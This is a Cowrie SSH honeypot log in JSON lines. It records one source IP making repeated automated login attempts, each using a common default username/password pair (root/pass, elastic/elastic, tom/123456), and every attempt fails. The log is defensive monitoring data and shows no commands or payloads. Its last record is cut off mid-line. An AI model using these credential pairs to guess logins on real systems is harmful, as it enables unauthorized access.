{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53980,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d1a451255d","protocol":"ssh","message":"New connection: 192.109.200.237:53980 (159.203.135.109:22) [session: 24d1a451255d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:48.347792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:48.352808Z","src_ip":"192.109.200.237","session":"24d1a451255d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:48.435102Z","src_ip":"192.109.200.237","session":"24d1a451255d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:48.680996Z","src_ip":"192.109.200.237","session":"24d1a451255d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:49.832534Z","src_ip":"192.109.200.237","session":"24d1a451255d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35894,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6573d8fd03e","protocol":"ssh","message":"New connection: 192.109.200.237:35894 (159.203.135.109:22) [session: a6573d8fd03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:51.433065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:51.437327Z","src_ip":"192.109.200.237","session":"a6573d8fd03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:51.518750Z","src_ip":"192.109.200.237","session":"a6573d8fd03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:51.765125Z","src_ip":"192.109.200.237","session":"a6573d8fd03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:52.853462Z","src_ip":"192.109.200.237","session":"a6573d8fd03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35904,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f369b0cf36a","protocol":"ssh","message":"New connection: 192.109.200.237:35904 (159.203.135.109:22) [session: 0f369b0cf36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:54.647559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:54.651984Z","src_ip":"192.109.200.237","session":"0f369b0cf36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:54.734922Z","src_ip":"192.109.200.237","session":"0f369b0cf36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:54.988573Z","src_ip":"192.109.200.237","session":"0f369b0cf36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:56.082578Z","src_ip":"192.109.200.237","session":"0f369b0cf36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35906,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a2d04d8663a","protocol":"ssh","message":"New connection: 192.109.200.237:35906 (159.203.135.109:22) [session: 7a2d04d8663a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:57.846005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:57.854598Z","src_ip":"192.109.200.237","session":"7a2d04d8663a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:57.929886Z","src_ip":"192.109.200.237","session":"7a2d04d8663a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:58.248621Z","src_ip":"192.109.200.237","session":"7a2d04d8663a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:59.334018Z","src_ip":"192.109.200.237","session":"7a2d04d8663a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57056,"dst_ip":"159.203.135.109","dst_port":22,"session":"082dd5cb64bd","protocol":"ssh","message":"New connection: 192.109.200.237:57056 (159.203.135.109:22) [session: 082dd5cb64bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:01.049417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:01.053770Z","src_ip":"192.109.200.237","session":"082dd5cb64bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:01.135925Z","src_ip":"192.109.200.237","session":"082dd5cb64bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:01.383307Z","src_ip":"192.109.200.237","session":"082dd5cb64bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:02.470593Z","src_ip":"192.109.200.237","session":"082dd5cb64bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57064,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ed39920d5f","protocol":"ssh","message":"New connection: 192.109.200.237:57064 (159.203.135.109:22) [session: 64ed39920d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:04.270289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:04.275574Z","src_ip":"192.109.200.237","session":"64ed39920d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:04.357168Z","src_ip":"192.109.200.237","session":"64ed39920d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:04.616987Z","src_ip":"192.109.200.237","session":"64ed39920d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:05.782873Z","src_ip":"192.109.200.237","session":"64ed39920d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57070,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ad2814f888f","protocol":"ssh","message":"New connection: 192.109.200.237:57070 (159.203.135.109:22) [session: 3ad2814f888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:07.397218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:07.402364Z","src_ip":"192.109.200.237","session":"3ad2814f888f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:07.484749Z","src_ip":"192.109.200.237","session":"3ad2814f888f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:07.729585Z","src_ip":"192.109.200.237","session":"3ad2814f888f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:08.815061Z","src_ip":"192.109.200.237","session":"3ad2814f888f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53274,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e8784fdabb","protocol":"ssh","message":"New connection: 192.109.200.237:53274 (159.203.135.109:22) [session: 18e8784fdabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:10.712701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:10.717950Z","src_ip":"192.109.200.237","session":"18e8784fdabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:10.801139Z","src_ip":"192.109.200.237","session":"18e8784fdabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:11.052139Z","src_ip":"192.109.200.237","session":"18e8784fdabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:12.137336Z","src_ip":"192.109.200.237","session":"18e8784fdabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecedc74a0c2a","protocol":"ssh","message":"New connection: 192.109.200.237:53282 (159.203.135.109:22) [session: ecedc74a0c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:13.871715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:13:13.876041Z","src_ip":"192.109.200.237","session":"ecedc74a0c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ec